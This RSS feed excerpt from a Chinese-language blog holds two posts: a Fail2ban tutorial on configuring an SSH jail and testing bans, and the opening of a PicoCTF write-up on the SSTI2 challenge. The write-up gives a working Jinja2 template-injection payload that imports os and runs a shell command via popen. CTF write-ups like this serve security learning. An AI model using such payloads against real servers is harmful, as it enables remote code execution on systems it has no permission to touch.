&lt;h3&gt;什麼是 Jail？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;jail.conf&lt;/code&gt; 是 Fail2ban 的核心封禁規則設定檔。Jail（監獄）定義了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;誰應該被抓&lt;/strong&gt;：哪些行為屬於可疑或惡意？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;怎麼處罰&lt;/strong&gt;：封鎖多久？封鎖哪些端口？&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;建立本地 Jail 設定&lt;/h3&gt;
&lt;p&gt;同樣地，我們需要複製一份本地設定檔來避免被更新覆蓋：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo vim /etc/fail2ban/jail.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;啟用 SSH 防護&lt;/h3&gt;
&lt;p&gt;在預設狀態下，Fail2ban 對所有服務都是停用的，因此我們需要手動啟用需要的服務。以下以 SSH 為例：&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;/etc/fail2ban/jail.local&lt;/code&gt; 中找到或新增以下區段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[sshd]
enabled = true                    # 啟用 SSH 防護
filter = sshd                     # 使用 sshd 過濾器
maxretry = 3                      # 最大失敗嘗試次數
bantime = 600                     # 封鎖時長（秒）
port = 22                         # SSH 服務端口
logpath = %(sshd_log)s            # SSH 日誌檔案路徑
backend = %(sshd_backend)s        # 日誌讀取後端
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;設定說明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enabled = true&lt;/code&gt;：啟用 SSH 監獄&lt;/li&gt;
&lt;li&gt;&lt;code&gt;filter = sshd&lt;/code&gt;：使用預定義的 sshd 過濾規則&lt;/li&gt;
&lt;li&gt;&lt;code&gt;maxretry = 3&lt;/code&gt;：允許失敗 3 次後封鎖&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bantime = 600&lt;/code&gt;：封鎖 10 分鐘（600 秒）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;port = 22&lt;/code&gt;：監控 SSH 預設端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;修改完成後重啟服務：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo service fail2ban restart
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;實戰測試&lt;/h2&gt;
&lt;h3&gt;模擬攻擊&lt;/h3&gt;
&lt;p&gt;使用另一台機器嘗試 SSH 登入，並故意輸入錯誤密碼 3 次以上。你會發現第 4 次嘗試時會出現以下錯誤訊息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh: connect to host 192.168.139.231 port 22: Connection refused
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這表示你的 IP 已經被 Fail2ban 成功封鎖。&lt;/p&gt;
&lt;h3&gt;檢查封鎖狀態&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;fail2ban-client&lt;/code&gt; 工具檢查當前的封鎖狀態：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fail2ban-client status sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你會看到類似以下的輸出，顯示被封鎖的 IP 以及統計資訊：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- Journal matches:	_SYSTEMD_UNIT=ssh.service + _COMM=sshd
`- Actions
   |- Currently banned:	1
   |- Total banned:	1
   `- Banned IP list:	192.168.139.108
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常用參數詳解&lt;/h2&gt;
&lt;p&gt;以下是 Fail2ban 最常用的參數說明，幫助你進行更精細的調整：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;參數&lt;/th&gt;
&lt;th&gt;說明&lt;/th&gt;
&lt;th&gt;範例值&lt;/th&gt;
&lt;th&gt;備註與建議&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ignoreip&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IP 白名單&lt;/strong&gt;。Fail2ban 絕對不會封鎖這些 IP。請務必將管理用 IP、內部網路 IP 加入，避免誤鎖自己。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;127.0.0.1/8 192.168.1.5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;支援 CIDR 格式（如 &lt;code&gt;/24&lt;/code&gt;），多個 IP 用&lt;strong&gt;空白&lt;/strong&gt;分隔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;bantime&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;封鎖時長&lt;/strong&gt;。被偵測到的 IP 將被封鎖多久。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1h&lt;/code&gt;（1小時）&amp;lt;br&amp;gt;&lt;code&gt;1d&lt;/code&gt;（1天）&amp;lt;br&amp;gt;&lt;code&gt;-1&lt;/code&gt;（永久）&lt;/td&gt;
&lt;td&gt;預設為 10 分鐘，建議至少設定為 &lt;code&gt;1h&lt;/code&gt; 或更長&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;findtime&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;觀察時間窗口&lt;/strong&gt;。在多久的時間內累積失敗次數。與 &lt;code&gt;maxretry&lt;/code&gt; 配合使用。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10m&lt;/code&gt;（10分鐘）&amp;lt;br&amp;gt;&lt;code&gt;1d&lt;/code&gt;（24小時）&lt;/td&gt;
&lt;td&gt;設為 10m 表示攻擊者須在 10 分鐘內連續失敗才會被封鎖，超過時間則計數歸零&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;maxretry&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;最大容忍失敗次數&lt;/strong&gt;。在 &lt;code&gt;findtime&lt;/code&gt; 期間內允許失敗幾次。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;（嚴格）&amp;lt;br&amp;gt;&lt;code&gt;5&lt;/code&gt;（預設）&lt;/td&gt;
&lt;td&gt;SSH 建議設為 &lt;code&gt;3&lt;/code&gt;；網頁應用可能誤觸，建議設 &lt;code&gt;5&lt;/code&gt; 或更多&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;enabled&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;啟用開關&lt;/strong&gt;。是否啟用該 Jail。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt; 或 &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;除了 &lt;code&gt;[DEFAULT]&lt;/code&gt; 外，所有 Jail 預設為 &lt;code&gt;false&lt;/code&gt;，需手動啟用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;port&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;監控端口&lt;/strong&gt;。指定要封鎖哪個端口的連線。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;http,https&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;8080&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;可使用服務名稱（由 &lt;code&gt;/etc/services&lt;/code&gt; 解析）或直接使用端口號&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;logpath&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;日誌檔案路徑&lt;/strong&gt;。Fail2ban 讀取哪個日誌檔案來偵測攻擊。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/auth.log&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;/var/log/nginx/error.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;最常設錯的地方&lt;/strong&gt;。必須指向服務實際寫入的日誌位置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;backend&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;日誌讀取模式&lt;/strong&gt;。指定如何讀取日誌。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemd&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;auto&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;現代 Linux（Ubuntu 20+, CentOS 7+）建議 SSH 使用 &lt;code&gt;systemd&lt;/code&gt;，傳統日誌檔使用 &lt;code&gt;auto&lt;/code&gt; 或 &lt;code&gt;polling&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;banaction&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;封鎖動作&lt;/strong&gt;。指定使用哪個防火牆工具執行封鎖。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iptables-multiport&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;ufw&lt;/code&gt;&amp;lt;br&amp;gt;&lt;code&gt;nftables-multiport&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;必須配合系統安裝的防火牆工具&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;一些花式用法&lt;/h2&gt;
&lt;p&gt;:::info
之後補上
:::&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>PicoCTF Web Exploitation Medium分級解題紀錄</title><link>https://blog.chien.dev/posts/picoctf_med_web</link><guid isPermaLink="true">https://blog.chien.dev/posts/picoctf_med_web</guid><description>紀錄 PicoCTF Web Exploitation Medium分級的解題過程與心得</description><pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;這是拿來放一些解題紀錄。
如果這邊沒有出現就只有兩種可能，一種是我已經解過了，另一種是我還沒解到&lt;/p&gt;
&lt;h2&gt;SSTI2&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;SSTI (Server-Side Template Injection) 是一種安全漏洞，發生在應用程式將使用者輸入直接嵌入到伺服器端模板引擎（如 Jinja2, Twig, Smarty）中解析時。攻擊者可以利用模板語法注入惡意指令，進而達成讀取敏感檔案、洩漏伺服器資訊，甚至執行遠端程式碼 (RCE)。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;1.觀察網頁
在網站上觀察一下會發現有一個輸入匡，我們試試看輸入 &lt;code&gt;{{7*7}}&lt;/code&gt;  會得到什麼
輸入之後會得到一個大大的 49，這就是一個 SSTI 的漏洞，那確定有漏洞了，接下來我們可以試著輸入一些命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;id&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但我們發現他顯示了 Stop trying to break me &amp;gt;:(
似乎有什麼限制，我們可以試試看輸入&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item></channel></rss>